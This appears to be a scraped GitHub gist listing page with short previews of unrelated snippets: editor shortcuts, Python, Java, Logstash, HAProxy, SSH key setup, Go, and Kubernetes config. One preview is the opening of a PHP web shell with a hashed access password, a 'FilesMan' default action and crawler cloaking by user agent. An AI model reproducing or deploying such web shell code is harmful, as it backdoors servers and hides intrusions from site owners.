This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
h1. Sublime Text 2 - Useful Shortcuts (Windows) | |
h2. General | |
| *Ctrl+KB* | toggle side bar | | |
| *Ctrl+Shift+P* | command prompt | | |
| *Ctrl+`* | python console | | |
| *Ctrl+N* | new file | | |
h2. Editing |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
#+Dump Columns ////Boolean | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def zipdict(names, values): | |
return dict(zip(names, values)) | |
def unzipdict(mydict): | |
list1 = mydict.keys() | |
list2 = mydict.values() | |
return list1, list2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.example.pigudf; | |
import java.io.IOException; | |
import java.util.Map; | |
import java.util.HashMap; | |
import org.apache.pig.EvalFunc; | |
import org.apache.pig.data.DataType; | |
import org.apache.pig.data.Tuple; | |
import org.apache.pig.impl.logicalLayer.schema.Schema; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
filter { | |
ruby { | |
code => " | |
require 'json' | |
if event['type'] == 'syslog' | |
eventJson = event.to_hash | |
if eventJson.has_key?('@version') | |
eventJson.delete('@version') | |
end | |
if eventJson.has_key?('type') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
defaults | |
log global | |
mode http | |
option httplog | |
option dontlognull | |
timeout connect 5000 | |
timeout client 50000 | |
timeout server 50000 | |
log 127.0.0.1 local0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh-keygen -f identifier -m PEM -t rsa # execute on your laptop | |
ssh-copy-id -i identifier.pub ubuntu@target_machine # copy the .pub file to target machine | |
mv identifier identifer.pem # change name to .pem | |
chmod 600 identifier.pem # change permissions | |
ssh -i identifer.pem ubuntu@target_machine # ssh using the new created pem file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"flag" | |
"time" | |
"istio.io/client-go/pkg/apis/networking/v1alpha3" | |
"sigs.k8s.io/controller-runtime/pkg/client/config" | |
versionedclient "istio.io/client-go/pkg/clientset/versioned" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# deployment.yaml | |
apiVersion: apps/v1 | |
kind: Deployment | |
metadata: | |
name: n8n | |
namespace: n8n | |
labels: | |
app: n8n | |
spec: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/******************************************************************************* | |
* Copyright (c) 2013 IBM Corp. | |
* | |
* All rights reserved. This program and the accompanying materials | |
* are made available under the terms of the Eclipse Public License v1.0 | |
* and Eclipse Distribution License v1.0 which accompany this distribution. | |
* | |
* The Eclipse Public License is available at | |
* http://www.eclipse.org/legal/epl-v10.html | |
* and the Eclipse Distribution License is available at |
OlderNewer